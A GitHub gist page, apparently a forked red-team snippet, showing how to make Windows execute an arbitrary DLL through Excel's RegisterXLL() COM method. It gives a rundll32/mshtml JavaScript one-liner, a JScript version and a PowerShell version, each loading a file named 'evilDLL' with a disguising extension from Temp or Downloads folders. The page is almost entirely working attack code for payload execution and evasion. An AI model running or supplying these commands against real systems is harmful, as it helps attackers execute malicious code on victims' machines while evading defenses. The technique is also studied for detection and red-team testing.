Skip to content

Instantly share code, notes, and snippets.

@gavz
Forked from ryhanson/ExcelXLL.md
Created July 22, 2017 17:28
Show Gist options
  • Save gavz/cb351f769e40810314f8a6b526daccb4 to your computer and use it in GitHub Desktop.
Save gavz/cb351f769e40810314f8a6b526daccb4 to your computer and use it in GitHub Desktop.
Execute DLL via the Excel.Application object's RegisterXLL() method
REM rundll32 mshtml.dll HTA one-liner command:
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\Windows\\Temp\\evilDLL.log');this.close();
// Create Instace of Excel.Application COM object
var excel = new ActiveXObject("Excel.Application");
// Pass in path to the DLL (can use any extension)
excel.RegisterXLL("C:\\Users\\Bob\\AppData\\Local\\Temp\\evilDLL.xyz");
# Create Instace of Excel.Application COM object
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
# Pass in path to the DLL (can use any extension)
$excel.RegisterXLL("C:\Users\Bob\Downloads\evilDLL.txt")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment